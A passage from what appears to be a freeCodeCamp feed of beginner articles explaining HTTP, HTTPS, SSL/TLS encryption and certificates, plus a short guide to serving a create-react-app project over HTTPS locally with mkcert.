<p>In order to authenticate, the certificate is able to confirm to the client (user) that the server they are connecting to is the one that manages that domain. All this is to keep the user safe from security issues such as domain spoofing.</p>
<p>It contains a public key and tells you who the owner of the website is that you are trying to connect to. If a website doesn't have an SSL certificate, it cannot be encrypted with TLS.</p>
<p>You can personally create your own SSL certificate (also known as a self-signed certificate), if you are the website owner. The problem with this approach is that browsers like Chrome don't trust these certificates. They prefer trusting certificates that are issued by a certificate authority.</p>
<h2 id="heading-how-does-ssl-encryption-work">How Does SSL Encryption Work?</h2>
<p>There are two types of SSL encryption, asymmetric and symmetric. The combination of asymmetric and symmetric is what makes SSL Encryption work. Let's look at them below to learn more.</p>
<h3 id="heading-what-is-asymmetric-encryption">What is asymmetric encryption?</h3>
<p>In Asymmetric encryption, you have two keys. These are:</p>
<ol>
<li>Public key.</li>
<li>Private key.</li>
</ol>
<p>![Asymmetric encryption](https://user-images.githubusercontent.com/33565767/181718454-847858dc-0df5-4bc5-bfaf-b6210c571d8f.png "Asymmetric (Public key) encryption")</p>
<p>The client/user/browser gives the public key to the server with which they are communicating. Then, the encyption happens with the help of the public key, and the decryption happens with the help of the server's private key.</p>
<p>The private key can only be found on that particular server. No one else has it. This shows you why asymmetric encryption is stronger and tougher to hack, because it has two different keys, the private and public key. The two keys work together to make sure the data is more secure.</p>
<p>This also tells you why the size of this encryption is 1024/2048 bits.</p>
<h3 id="heading-what-is-symmetric-encryption">What is symmetric encryption?</h3>
<p>In symmetric encryption, it's very simple. You have one key, and that's it. The client uses one key for encryption, and the server uses the same key for decrypting the data.</p>
<p>Symmetric encryption is very light weight. The size is 128/256 bits. But it is a bit easier to hack into as compared to asymmetric. This doesn't mean it is not useful. When we use SSL, we combine Asymmetric and Symmetric to be able to make the communication safer and more secure.</p>
<p>![Symmetric encryption](https://user-images.githubusercontent.com/33565767/181720497-326e0dd9-5e0b-4bfb-b01a-2effec5ab9e0.png "How symmetric encryption works by using one key on the client side to encrypt and the same key on the server side to decrypt")</p>
<h3 id="heading-how-asymmetric-symmetric-encryption-work">How asymmetric + symmetric encryption work</h3>
<p>The combination of both asymmetric and symmetric is now the double-sided wall. 
![Asymmetric and Symmetric](https://user-images.githubusercontent.com/33565767/182565306-224f199a-da88-4a68-be81-707636cc1069.png "How asymmetric and symmetric encryption work by client first sending a Hello to the server. The server then sends to the client, its public key and certificate in response. The client on step 3, sends a session key that is encrypted using the public key. On step 4, the server will decrypt the session key using the server's private key. Finally, step 5, the connection is established between the client and the server.")</p>
<p>In the first step, the server will send to the browser the asymmetric public key. As we now know, the asymmetric key has both the public key and the private key. Therefore, the browser will receive the public key.</p>
<p>After this, the browser generates a session key.</p>
<p>Symmetric encryption uses only one single key for both the client and the server. So what will happen is, the browser will generate a local session key. This is a symmetric encryption session key. It will then encrypt it, with the use of the public key which is asymmetric, given in the first step. The locally generated session key will then be combined with the public key, and sent to the server.</p>
<p>The server will then use a private key to decrypt the encrypted session key it has received. In this particular step, the server will use asymmetric private key to decrypt the session key it has received.</p>
<p>Now, once the decryption has happened, the server and the browser will use the session key for communication. The session key will only be used for that specific session.</p>
<p>Let's say you close your browser, and maybe sign in the next day – everything starts all over again. Session keys get created again.</p>
<h2 id="heading-how-can-i-get-ssl-for-my-website">How Can I Get SSL for My Website?</h2>
<p>If you are a website owner, you can acquire an SSL certificate from a certificate issuing authority. </p>
<p>You will then need to install the certificate on you web server where your website is hosted. Most of the time, the hosting company where you host your website handles this process for you.</p>
<h2 id="heading-where-can-i-get-an-ssl-certificate">Where Can I Get an SSL Certificate?</h2>
<p>There are organizations that issue security certificates. These organizations are called certificate authorities. Some of these certificate authorities include: DigiCert, Comodo, and many others.</p>
<p>Many developers get certificates from these organizations. Since they are the most widely used certificate issuers, browsers usually trust certificates from these organizations.</p>
<h2 id="heading-can-i-get-an-ssl-certificate-for-free">Can I Get an SSL Certificate for Free?</h2>
<p>Cloudflare offers SSL certificates for free. It is one of the first internet security companies to do so. </p>
<p>If you want to get one, you can <a target="_blank" href="https://www.cloudflare.com/ssl/">check it out here</a>.</p>
<h2 id="heading-what-is-https-used-for">What is HTTPS Used For?</h2>
<p>HTTPS helps a lot with security. Without it, passing sensitive information becomes a big challenge especially if your business requires a secure way of communication. </p>
<p>Sites that accept online payments like ecommerce sites typically require HTTPS. This is to avoid information such as credit card details and login information from being stolen (Source: <a target="_blank" href="https://www.entrepreneur.com/article/281633">Tony Messer</a>).</p>
<h2 id="heading-the-main-differences-between-https-and-http">The Main Differences between HTTPS and HTTP</h2>
<ul>
<li>The encryption layer is enabled in HTTPS while there is no encryption layer in HTTP.</li>
<li>Your data is protected in HTTPS while in HTTP it is not.</li>
<li>Your ranking is boosted in Google when you use HTTPS while with HTTP, you don't get any ranking boost.</li>
<li>You are protected against phishing when you use HTTPS while there is not protection when using HTTP.</li>
<li>You are compliant with the regulations of the payment industry when you use HTTPS while HTTP is non-compliant.</li>
<li>Loading HTTPS in the first few seconds may be slower than loading HTTP.</li>
<li>Getting SSL certificates can cost money while there is no certification costs with HTTP.</li>
<li>While using HTTPS, you become buddies with Google Chrome. Google Chrome doesn't like HTTP and therefore you will always be getting unsecured site notifications.</li>
</ul>
<h2 id="heading-conclusion">Conclusion</h2>
<p>HTTP and HTTPS are very important in our day to day lives as developers. The communication between the browser and the server is what fuels much the work we do.</p>
<p>By protecting your users' data as much as you're able so their information doesn't get stolen, you'll gain their trust and provide a better user experience.</p>
<p>See you soon.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is HTTPS? HTTP vs HTTPS Meaning and How it Works ]]>
                </title>
                <description>
                    <![CDATA[ Have you ever noticed the "HTTP" or "HTTPS" at the beginning of a URL in your browser? Well, what is HTTP and what is HTTPS? How are they different? In order to understand the differences, it helps to demistify to meaning of these two terms and under... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/what-is-https-http-vs-https-meaning-and-how-it-works/</link>
                <guid isPermaLink="false">66b1e4f098966ccde43c3c64</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ http ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Dionysia Lemonaki ]]>
                </dc:creator>
                <pubDate>Mon, 16 Aug 2021 13:57:44 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/08/john-salvino-bqGBbLq_yfc-unsplash.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Have you ever noticed the "HTTP" or "HTTPS" at the beginning of a URL in your browser? Well, what is HTTP and what is HTTPS? How are they different?</p>
<p>In order to understand the differences, it helps to demistify to meaning of these two terms and understand how they each work.</p>
<h2 id="heading-what-is-http">What is HTTP?</h2>
<p>HTTP stands for <strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransfer <strong>P</strong>rotocol and is the foundation of the World Wide Web. Without it the Web wouldn't be what it is today.</p>
<p>An HTTP URL starts with <code>http://</code> and  has a number 80 port by default.</p>
<p>The <em>HyperText</em> part in the name means that there are documents or files involved. Those can contain text, images, graphics, videos or any other media. </p>
<p>In addition, they likely contain links to other documents or files for cross referencing, which you can easily access after clicking the link with a mouse or touchpad or after touching it on your phone screen. </p>
<p>The <em>Transfer</em> part in the name means the files can move over the World Wide Web from one networked device to another.</p>
<p>The <em>Protocol</em> part means that it consists of a set of computer rules that govern how devices are able to use the Internet. It also tells them how they can use the Internet as a communication medium when connected with many other devices at a distance. </p>
<p>HTTP is built on top of the TCP/IP network protocol suite and on top of other layers in the protocol stack.</p>
<p>The TCP/IP is a standardized  set of rules for how browsers and servers are allowed to communicate over the Internet. After all, the World Wide Web is all about communication between browsers and servers.</p>
<p>Specifically, HTTP is an application layer protocol and is the primary protocol used for communication and data transfer between a web client and a web server.</p>
<p>In a nutshell, HTTP is a set of rules and standards for how hypertext files and all kinds of information are transfered over the web. It's how browsers and servers communicate.</p>
<h2 id="heading-a-typical-http-request-and-response-flow">A Typical HTTP Request and Response Flow</h2>
<p>HTTP is used when browsers want to get connected to websites.</p>
<p>They communicate by sending HTTP requests and receiving HTTP responses. This is known as the <em>Request - Response Cycle</em> in a client computer - web server computing model.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/08/Screenshot-2021-08-11-at-3.17.23-PM.png" alt="Screenshot-2021-08-11-at-3.17.23-PM" width="600" height="400" loading="lazy"></p>
<p>The client, which is typically a web browser like Google Chrome, Mozilla Firefox, or Apple Safari, makes the request. It does this by entering a human-friendly URL (Uniform Resource Locator) like <code>freecodecamp.org</code> in the address bar at the top of the browser.</p>
<p>That domain name, <code>freecodecamp.org</code>, is mapped to an IP address <a target="_blank" href="https://www.freecodecamp.org/news/what-is-dns/">with the help of the Domain Name System (DNS)</a>.</p>
<p>The web browser then gets connected to the server and makes an HTTP <em>Request</em>, asking for the information it needs to receive in order to load a web page.</p>
<p>An HTTP request can look something like this:</p>
<pre><code>GET / HTTP/<span class="hljs-number">1.1</span>
<span class="hljs-attr">Host</span>: www.freecodecamp.org
</code></pre><p>It consists of:</p>
<ul>
<li>An HTTP method, often referred to as an HTTP verb, like <code>GET</code>. This specific verb is used to <em>get</em> information back. Another common verb is <code>POST</code>, which is used when the client submits data in a form. Verbs specify the action browsers are expecting from the server.</li>
<li>The path, which in our example is <code>/</code>, the <em>root</em> path. The server stores all the files that make up a website, so a request needs to specify which part the browser is requesting to load.</li>
<li>The HTTP type and its version.</li>
<li>The domain name of the URL.</li>
</ul>
<p>The web server then receives the request and processes it by looking for the requested data.</p>
<p>A server is a computer different from the ones we use on a day-to-day basis. Its sole purpose is to store data and files and retrieve them and distribute them when requested.</p>
<p>The server returns a message, or HTTP <em>Response</em>, back to the browser.</p>
<p>An example of a response is: <code>HTTP/1.1 200 OK</code></p>
<ul>
<li>It first starts with the protocol and version <code>HTTP/1.1</code></li>
<li>Next is the HTTP <em>status code</em>, a 3-digit number, which in this case is <code>200</code>. It indicates wether the HTTP request was completed or not. Status codes starting with a <code>2</code> indicate success and that the request was successfully completed. Status codes starting with a <code>4</code>, like <code>404</code>, indicate a client side error (for example making a typo in the URL) so the page is not displayed in the browser. A status code starting with <code>5</code> means a server side error and again the page is not displayed in the browser.</li>
<li>Next is the <em>status text</em>, human readable text, that summarizes the meaning of the status code. In this case it's "OK", meaning a successful retrieval of the requested document.</li>
</ul>
<p>A HTTP response also includes headers that can look something like this:</p>
<pre><code>date: Thu, <span class="hljs-number">12</span> Aug <span class="hljs-number">2021</span> <span class="hljs-number">12</span>:<span class="hljs-number">07</span>:<span class="hljs-number">16</span> GMT
<span class="hljs-attr">server</span>: cloudflare
content-type: text/html; charset=utf<span class="hljs-number">-8</span>
</code></pre><p>Headers include important information about the content type sent back, such as the language, format, and when the response was sent.</p>
<p>Lastly, a response to a 'GET' request includes the optional <em>HTTP body</em>. This contains the requested information, like the HTML/CSS/JavaScript files that make up the website.</p>
<p>Then the browser receives the response, renders the page, and closes the connection. </p>
<p>Each time it needs to load a new element on a page (like different styles or images or videos) it will start a new connection and the whole process repeats again.</p>
<h2 id="heading-limitations-of-http">Limitations of HTTP</h2>
<p>HTTP is fast because of its simplicity, but it does not provide security when data is exchanged. This is because all the data is transmitted in  <strong>plain text</strong> and nothing is encrypted at all.</p>
<p>During the transfer, the hypertext data is broken down into 'packets', and anyone with the right tools, skills, and knowledge between the browser and server can easily view and steal the information being transmitted. </p>
<p>This means that usernames, passwords, and sensitive information are at risk of being accessible to attackers, while at the same time the risk of injecting viruses is high. </p>
<p>This means that HTTP is not a secure or private medium, resulting in users feeling unsafe.</p>
<p>HTTP is safe for certain sites, like blogs, but you should not submit any credit card or other personal information over an HTTP connection.</p>
<h2 id="heading-what-is-https">What is HTTPS?</h2>
<p>HTTPS stands for <strong>H</strong>yper<strong>T</strong>ext <strong>T</strong>ransfer <strong>P</strong>rotocol <strong>S</strong>ecure.</p>
<p>A HTTPS URL starts with <code>https://</code> and uses a port number 443 by default.</p>
<p>It's not a separate protocol from HTTP, but it's the more <em>secure</em> and confidential version of it. It's the safest way to transfer data between a browser and a server.</p>
<p>Most websites nowadays use HTTPS over HTTP. So before submitting any sensitive information like logging into your bank account and making financial transactions, always make sure the site uses HTTPS.</p>
<p>You can tell if a site is secure and has an HTTPS connection by the lock icon on the left hand side of the address bar:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/08/Screenshot-2021-08-11-at-6.41.08-PM.png" alt="Screenshot-2021-08-11-at-6.41.08-PM" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/08/Screenshot-2021-08-12-at-7.38.33-PM.png" alt="Screenshot-2021-08-12-at-7.38.33-PM" width="600" height="400" loading="lazy"></p>
<p>Unlike HTTP which works on the Application Layer, HTTPS works on the Transport Layer.</p>
<h2 id="heading-how-does-https-work">How Does HTTPS Work?</h2>
<p>Each data packet sent over an HTTPS connection is <em>encrypted</em> and secure, using cryptographic protocols such as TLS or SSL, on top of HTTP.</p>
<p>Transport Layer Security (TLS), formely known as Secure Sockets Layer (SSL), is the protocol used to encrypt communications. It is the newer and more secure version of SSL. </p>
<p>TLS provides security against attacks, and its three main goals are authentication, privacy, and overall security.</p>
<p>TLS secures communications by using an asymmetric key algorithm, Public Key Infrastructure (PKI). This system uses two uniquely related keys to encrypt and decrypt sensitive information, enabling safe communication over the Internet.</p>
<p>Both keys are used in conjunction, and in this way TLS creates a link between sender and receiver. It makes sure both parties are identified and are really who they say they are.</p>
<p>First, you have the <strong>public</strong> key. It is available to view publicly and  can be shared with everyone and anyone who wants to interact with the site.</p>
<p>This key is used to turn plain text into cipher text, to encrypt data, and acts as a lock to encrypt the data. It also confirms the owner of a private key. Distribution of public keys to browsers is done with Certificates.</p>
<p>Then, each public key has a unique <strong>private</strong> key and they work as a pair. You use this key to decrypt information. Data encrypted with a public key can only be decrypted by the corresponding unique private key. </p>
<p>It is this unique private key that unlocks the lock and decrypts the data. A private key also confirms that the information is yours. This key is kept private, stored and available only to its owner.</p>
<p>A secure connection is set up and certificates are exchanged before any actual data is transfered.</p>
<p>The client types in the URL of the webpage they want to access. The webpage's server sends over the TLS or SSL certificate that contains the public key to start the connection. The client and server go through a lot of back and forth (called a TLS/SSL handshake) until they establish a secure session.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>In this article we learned what HTTPS is, how it works, and how it is different (and more secure) than HTTP.</p>
<p>To recap, HTTPS is the secure version of HTTP, the basic network protocol for sending hypertext over the web.</p>
<p>In HTTPS there are additional steps for security, such as TLS/SSL certificates and the TLS/SSL handshake.</p>
<p>It provides authentication for users and data, making sure transactions are kept private (with data integrity being a priority) without fearing a data breach during the client-server communication.</p>
<p>The contents of messages and transactions can only be viewed by the sender and intended recipient.</p>
<p>Thanks for reading!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Setup HTTPS Locally with create-react-app ]]>
                </title>
                <description>
                    <![CDATA[ By Braedon Gough Running HTTPS in development is helpful when you need to consume an API that is also serving requests via HTTPS.  In this article, we will be setting up HTTPS in development for our create-react-app with our own SSL certificate.  Thi... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-set-up-https-locally-with-create-react-app/</link>
                <guid isPermaLink="false">66d45dd7182810487e0ce0f9</guid>
                
                    <category>
                        <![CDATA[ create-react-app ]]>
                    </category>
                
                    <category>
                        <![CDATA[ how-to ]]>
                    </category>
                
                    <category>
                        <![CDATA[ http ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ React ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 21 Jul 2020 16:12:05 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/07/react-https.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Braedon Gough</p>
<p>Running HTTPS in development is helpful when you need to consume an API that is also serving requests via HTTPS. </p>
<p>In this article, we will be setting up HTTPS in development for our create-react-app with our own SSL certificate. </p>
<p>This guide is for macOS users and requires that you have <code>[brew](https://brew.sh/)</code> installed. </p>
<h2 id="heading-adding-https">Adding HTTPS</h2>
<p>In your <code>package.json</code>, update the <strong>start</strong> script to include https: </p>
<pre><code class="lang-json"><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"start"</span>: <span class="hljs-string">"HTTPS=true react-scripts start"</span>,
    <span class="hljs-attr">"build"</span>: <span class="hljs-string">"react-scripts build"</span>,
    <span class="hljs-attr">"test"</span>: <span class="hljs-string">"react-scripts test"</span>,
    <span class="hljs-attr">"eject"</span>: <span class="hljs-string">"react-scripts eject"</span>
  },
</code></pre>
<p>Running <code>yarn start</code> after this step will show you this screen in your browser:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/07/privacy-error.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>At this stage, you're already set to go with <code>https</code>. But you don't have a valid certificate, so your connection is assumed to be insecure. </p>
<h2 id="heading-creating-a-ssl-certificate">Creating a SSL Certificate</h2>
<p>The easiest way to obtain a certificate is via <code>[mkcert](https://github.com/FiloSottile/mkcert)</code>.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Install mkcert tool</span>
brew install mkcert

<span class="hljs-comment"># Install nss (only needed if you use Firefox)</span>
brew install nss

<span class="hljs-comment"># Setup mkcert on your machine (creates a CA)</span>
mkcert -install
</code></pre>
<p>After running the above commands, you'll have created a <strong><a target="_blank" href="https://en.wikipedia.org/wiki/Certificate_authority">certificate authority</a></strong> on your machine which enables you to generate certificates for all of your future projects. </p>
<p>From the root of your <code>create-react-app</code> project, you should now run:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create .cert directory if it doesn't exist</span>
mkdir -p .cert

<span class="hljs-comment"># Generate the certificate (ran from the root of this project)</span>
mkcert -key-file ./.cert/key.pem -cert-file ./.cert/cert.pem <span class="hljs-string">"localhost"</span>
</code></pre>
<p>We'll be storing our generated certificates in the <code>.cert</code> directory. These should not be committed to version control, so you should update your <code>.gitignore</code> to include the <code>.cert</code> directory. </p>
<p>Next, we need to update the <code>start</code> script again to include our newly created certificate:</p>
<pre><code class="lang-json">  <span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"start"</span>: <span class="hljs-string">"HTTPS=true SSL_CRT_FILE=./.cert/cert.pem SSL_KEY_FILE=./.cert/key.pem react-scripts start"</span>,
    <span class="hljs-attr">"build"</span>: <span class="hljs-string">"react-scripts build"</span>,
    <span class="hljs-attr">"test"</span>: <span class="hljs-string">"react-scripts test"</span>,
    <span class="hljs-attr">"eject"</span>: <span class="hljs-string">"react-scripts eject"</span>
  },
</code></pre>
<p>When you run <code>yarn start</code> again, you should now see that your connection is secure. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/07/secure.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Don't be a stranger! Feel free to write if you have any questions - <a target="_blank" href="https://www.linkedin.com/in/braedon-gough-ba92a048/">connect with me on Linkedin</a> or <a target="_blank" href="https://twitter.com/bbbraedddon">follow me on Twitter</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is HTTPS? A Guide to Secure Web Browsing and Browser Encryption ]]>
                </title>
                <description>
                    <![CDATA[ You may have noticed the "https" at the beginning of a URL. Or you may have noticed a lock in the URL bar of your browser. What does "https" mean? What does the lock icon in your browser mean? These things are key to secure web browsing. In this arti... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/what-is-https-a-guide-to-secure-web-browsing-and-browser-encryption/</link>
                <guid isPermaLink="false">66b20722a2135cc2539a21fd</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Beau Carnes ]]>
                </dc:creator>
                <pubDate>Wed, 13 Nov 2019 18:05:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/01/HTTPS-image.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>You may have noticed the "https" at the beginning of a URL. Or you may have noticed a lock in the URL bar of your browser.</p>
<p>What does "https" mean? What does the lock icon in your browser mean? These things are key to secure web browsing. In this article, you will learn all about secure web browsing and browser encryption. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/10/image-6.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The "S" in "HTTPS" stands for <strong>Secure</strong>. Let's first learn what HTTP" is.</p>
<h2 id="heading-what-is-http">What is HTTP?</h2>
<p>HTTP (which stands for HyperText Transfer Protocol) is a network protocol. It tells web browsers how to connect to web pages and other documents across the internet. It is connectionless, which means that a new connection is made every time a browser has to load a new file or element.</p>
<p>If you type a website URL into your browser, the browser will send an HTTP request to the server hosting the website. The server will then send back the requested web page, sending each part (i.e. images, text, styles) separately.</p>
<p>There is a major problem with HTTP, however. The information transmitted using the HTTP is not encrypted at all. Anyone that knows how can watch the traffic and see all the data transmitted. That includes usernames and passwords!</p>
<p>HTTPS secures and encrypts the entire process.</p>
<h2 id="heading-what-is-https">What is HTTPS?</h2>
<p>HTTPS (HypterText Transfer Protocal Secure) ensures secure communication between a browser and web server. It encrypts every data packet sent using either SSL or TLS encryption. Without this additional security, any information you enter into a site will be sent in plaintext and could potentially be seen by someone trying to hack your data.</p>
<p>TLS is newer and more secure than SSL, and is what most HTTPS sites use. TLS will make sure both parties are who they say they are. It also makes sure the data sent has not been tampered with.</p>
<p>TLS uses asymmetric encryption to create a link between the user and the server using private/public keys. These key are like a lock and key set. One encrypts the data with a lock and the person decrypts the data with a key.</p>
<p>The servers switch to symmetric encryption after the session begins because it is faster and can transmit larger amounts of data. Instead of using a public/private key, symmetric encryption uses a shared secret. It is like talking to someone in a room that no one else knows about. Since the room is secret, you don't have to worry that other people will be in the room and hear what you are talking about.</p>
<p>Most sites today use HTTPS instead of HTTP since there are major advantages and few disadvantages.</p>
<p>Before submitting any confidential information such as passwords, you should always make sure the site is using HTTPS. </p>
<p>Most web browsers will show a lock icon to the left of the URL to indicate the site is secure. Also, most browsers will also warn users with a 'not secure' warning in the site is not using HTTPS. </p>
<h2 id="heading-virtual-private-networks">Virtual Private Networks</h2>
<p>Even with HTTPS enabled, ISPs will still know what websites you’re visiting, even if they don’t know what you’re doing there.</p>
<p>And just knowing where you’re going — the “metadata” of your web activity — gives ISPs a lot of information they can sell.</p>
<p>So if you want to take security to the next level, consider using a Virtual Private Network (VPN).  VPNs will encrypt everything, including what websites you visit. For more info on VPNs and how to set one up, check out <a target="_blank" href="https://www.freecodecamp.org/news/how-to-set-up-a-vpn-in-5-minutes-for-free-and-why-you-urgently-need-one-d5cdba361907/">this article by Quincy Larson</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ An introduction to HTTP: everything you need to know ]]>
                </title>
                <description>
                    <![CDATA[ By Goran Aviani In this article, I will walk you through how the world wide web works at a fundamental level. The core technology is HTTP - Hypertext Transfer Protocol. It's the communication protocol you use when you browse the web. At a fundamental... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/http-and-everything-you-need-to-know-about-it/</link>
                <guid isPermaLink="false">66d45eeb36c45a88f96b7cd7</guid>
                
                    <category>
                        <![CDATA[ http ]]>
                    </category>
                
                    <category>
                        <![CDATA[ https ]]>
                    </category>
                
                    <category>
                        <![CDATA[ internet ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ SSL ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 11 Sep 2019 15:23:37 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2019/08/slik.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Goran Aviani</p>
<p>In this article, I will walk you through how the world wide web works at a fundamental level.</p>
<p>The core technology is HTTP - Hypertext Transfer Protocol. It's the communication protocol you use when you browse the web.</p>
<p>At a fundamental level, when you visit a website, your browser makes an HTTP request to a server. Then that server responds with a resource (an image, video, or the HTML of a web page) -  which your browser then displays for you.</p>
<p>This is HTTP's message-based model. Every HTTP interaction includes a request and a response. </p>
<p>By its nature, HTTP is stateless.</p>
<p><strong>Stateless</strong> means that all requests are separate from each other. So each request from your browser must contain enough information on its own for the server to fulfill the request. That also means that each transaction of the message based model of HTTP is processed separately from the others.</p>
<h2 id="heading-urls">URLs</h2>
<p>The URL (Uniform Resource Locator) is probably the most known concept of the Web. It is also one of most important and useful concepts. A URL is a web address used to identify resources on the Web.</p>
<p>The idea of the web is structured around resources. From its beginnings the Web was the platform for sharing text/HTML files, documents, images etc, and as such it can be considered a collection of resources.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/08/0-DTR8JpFZo31ht-Kd.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Example of an URL</em></p>
<p><strong>Protocol</strong> — Most often they are HTTP (or HTTPS for a secure version of HTTP).</p>
<p>Other notable protocols are:</p>
<ul>
<li>File Transfer Protocol (FTP) — is a standard protocol used for transferring files between a client and a server over a network.</li>
<li>Simple Mail Transfer Protocol (SMTP) is a standard for email transmission.</li>
</ul>
<p><strong>Domain</strong> — Name that is used to identify one or more IP addresses where the resource is located.</p>
<p><strong>Path</strong> —Specifies the resource location on the server. It uses the same logic as a resource location used on the device where you are reading this article (i.e. /search/cars/VWBeetle.pdf or C:/my cars/VWBeetle.pdf).</p>
<p><strong>Parameters</strong> — Additional data used to identify or filter the resource on the server.</p>
<p><strong>Note</strong>: When searching for articles and more information about HTTP, you may encounter the term URI (or uniform resource identifier). URI is sometimes being used instead of URL but mostly in formal specifications and by people who want to show off. :)</p>
<h2 id="heading-http-requests">HTTP Requests</h2>
<p>In HTTP, every request must have an URL address. Additionally, the request needs a method. The four main HTTP methods are:</p>
<ul>
<li>GET</li>
<li>PUT</li>
<li>POST</li>
<li>DELETE</li>
</ul>
<p>I will explain these methods, and more, in the HTTP Methods section of this article.</p>
<p>And these methods directly correspond to actions:</p>
<ul>
<li>read</li>
<li>update</li>
<li>create</li>
<li>delete</li>
</ul>
<p>All HTTP messages have one or more headers, followed by an optional message body. The body contains the data that will be sent with the request or the data received with the response.</p>
<p>The first part of every HTTP request holds three items:</p>
<p>Example:</p>
<ul>
<li>GET /adds/search-result?item=vw+beetle HTTP/1.1</li>
</ul>
<p><em>When a URL contains a “?” sign, it means it contains a query. That means it sends parameters of the requested resource.</em></p>
<ol>
<li>The first part is a method which tells which HTTP method is used. Most commonly used is the GET method. GET method retrieves a resource from the web server and since GET doesn’t have a message body nothing after the header is needed.</li>
<li>The second part is a requested URL.</li>
<li>The third part is a HTTP version being used. Version 1.1. is the most common version for most browsers, however, version 2.0 is taking over.</li>
</ol>
<p>There are also some other interesting things in an HTTP request:</p>
<p><strong>Referer header</strong> — tells the URL from where the request has originated.</p>
<p><strong>User-Agent header</strong> — additional information about the browser being used to generate the request.</p>
<p><strong>Host header</strong> — uniquely identifies a host name; it is necessary when multiple web pages are hosted on the same server.</p>
<p><strong>Cookie header</strong> — submits additional parameters to the client.</p>
<h2 id="heading-http-responses">HTTP Responses</h2>
<p>Just like in HTTP requests, HTTP responses also consist of three items:</p>
<p>Example:</p>
<p>HTTP/1.1 200 OK</p>
<ol>
<li>The first part is the HTTP version being used.</li>
<li>The second part is the numeric code of the result for the request.</li>
<li>The third part is a textual description of the second part.</li>
</ol>
<p>There are some other interesting things in an HTTP response:</p>
<p><strong>Server header</strong> — information about which web server software is being used.</p>
<p><strong>Set-Cookie header</strong> — issues the cookie to the browser.</p>
<p><strong>Message body</strong> — it is common for an HTTP response to hold a message body.</p>
<p><strong>Content-Length header</strong> — tells the size of the message body in bytes.</p>
<h2 id="heading-http-methods">HTTP Methods</h2>
<p>The most common methods are GET and POST. But there are a few others, too.</p>
<p><strong>GET</strong> —  You use this method to request data from a specified resource where data is not modified it in any way. GET requests do not change the state of resource.</p>
<p><strong>POST</strong> — You use this method to send data to a server to create a resource.</p>
<p><strong>PUT —</strong> You use this method to update the existing resource on a server by using the content in the body of the request. Think of this as a way to "edit" something.</p>
<p><strong>HEAD</strong> —  You use this method the same way you use GET, but with the distinction that the return of a HEAD method should not contain body in the response. But the return will contain same headers as if GET was used. You use the HEAD method to check whether the resource is present prior of making a GET request.</p>
<p><strong>TRACE —</strong> You use this method for diagnostic purposes. The response will contain in its body the exact content of the request message.</p>
<p><strong>OPTIONS</strong> — You use this method to describe the communication options (HTTP methods) that are available for the target resource.</p>
<p><strong>PATCH —</strong>  You use this method to apply partial modifications to a resource.</p>
<p><strong>DELETE —</strong>You use this method to delete the specified resource.</p>
<h2 id="heading-rest">REST</h2>
<p>Representational state transfer (REST) is an architecture style where requests and responses contain representations of the current state of the systems resource.</p>
<p>“Regular” way:</p>
<ul>
<li><a target="_blank" href="http://carapp.com/search?make=wv&amp;model=beetle">http://carapp.com/search?make=wv&amp;model=beetle</a></li>
</ul>
<p>REST-style:</p>
<ul>
<li><a target="_blank" href="http://carapp.com/search/vw/beetle">http://carapp.com/search/vw/beetle</a></li>
</ul>
<p>You can <a target="_blank" href="https://www.freecodecamp.org/news/how-the-web-works-part-iii-http-rest-e61bc50fa0a/">learn more about REST here if you're curious</a>.</p>
<h2 id="heading-http-headers">HTTP Headers</h2>
<p>There are three main components that make up the request/response structure. These include:</p>
<ul>
<li>First line</li>
<li>Headers</li>
<li>Body/Content</li>
</ul>
